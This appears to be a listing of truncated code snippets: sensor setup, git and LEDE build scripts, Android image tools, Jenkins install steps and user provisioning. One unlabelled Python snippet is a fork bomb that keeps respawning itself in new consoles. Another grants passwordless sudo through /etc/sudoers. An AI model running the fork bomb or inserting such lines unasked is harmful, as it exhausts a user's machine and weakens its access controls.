- install lm-sensors with your package manager
sensors
If it won't show any fan/speed, continue
sensor-detect
| #!/bin/bash | |
| # store the current dir | |
| CUR_DIR=$(pwd) | |
| # Let the person running the script know what's going on. | |
| echo "\n\033[1mPulling in latest changes for all repositories...\033[0m\n" | |
| # Find all git repositories and update it to the master latest revision | |
| for i in $(find . -name ".git" | cut -c 3-); do |
| # | |
| # Automatically generated file; DO NOT EDIT. | |
| # LEDE Configuration | |
| # | |
| CONFIG_MODULES=y | |
| CONFIG_HAVE_DOT_CONFIG=y | |
| # CONFIG_TARGET_arm64 is not set | |
| # CONFIG_TARGET_sunxi is not set | |
| # CONFIG_TARGET_apm821xx is not set | |
| # CONFIG_TARGET_ath25 is not set |
| #!/bin/bash | |
| # Prerequisites: http://wiki.openwrt.org/doc/howto/buildroot.exigence | |
| # Additionally JDK is needed | |
| generate_buildenv() { | |
| # Prepare build enviroment | |
| mkdir lede_build | |
| cd lede_build | |
| git clone https://github.com/lede-project/source.git |
| import subprocess, sys | |
| while True: | |
| subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE) |
| simg2img system.img_sparsechunk.* system.img.raw.tmp | |
| offset=`LANG=C grep -aobP -m1 '\x53\xEF' system.img.raw.tmp | head -1 | awk '{print $1 - 1080}'` | |
| dd if=system.img.raw.tmp of=system.img.raw ibs=$offset skip=1 |
| #!/bin/bash | |
| CLEAR='\033[0m' | |
| RED='\033[0;31m' | |
| function usage() { | |
| if [ -n "$1" ]; then | |
| echo -e "${RED}👉 $1${CLEAR}\n"; | |
| fi | |
| echo "Usage: $0 [-n number-of-people] [-s section-id] [-c cache-file]" |
| shopt -s dotglob | |
| sudo adduser adithya --disabled-password --gecos "" | |
| sudo gpasswd -a adithya sudo | |
| sudo mkdir /home/adithya/.ssh | |
| sudo chmod 700 /home/adithya/.ssh/ | |
| sudo sh -c "echo 'adithya ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers" | |
| # Now copy paste ssh pubkey here | |
| nano /home/adithya/.ssh/authorized_keys |
| What is Jenkins? | |
| Jenkins is an open source automation server written in Java. Jenkins helps to automate the non-human part of the software development process, with continuous integration and facilitating technical aspects of continuous delivery. (Wikipedia) | |
| 1. Required packages | |
| sudo apt-get update | |
| wget -q -O - https://pkg.jenkins.io/debian/jenkins.io.key | sudo apt-key add - | |
| sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list' | |
| sudo apt-get update | |
| sudo apt-get install jenkins |
| $ find . -name '*so' | xargs strings | grep 'persist.radio' | |
| persist.radio.voice.modem.index | |
| persist.radio.multisim.config | |
| persist.radio.ignore_ims_wlan | |
| persist.radio.sglte_csfb | |
| persist.radio.multisim.config | |
| persist.radio.rat_on | |
| persist.radio.kddi_hold_answ_on | |
| persist.radio.ims_retry_3gpp | |
| persist.radio.ims_retry_3gpp2 |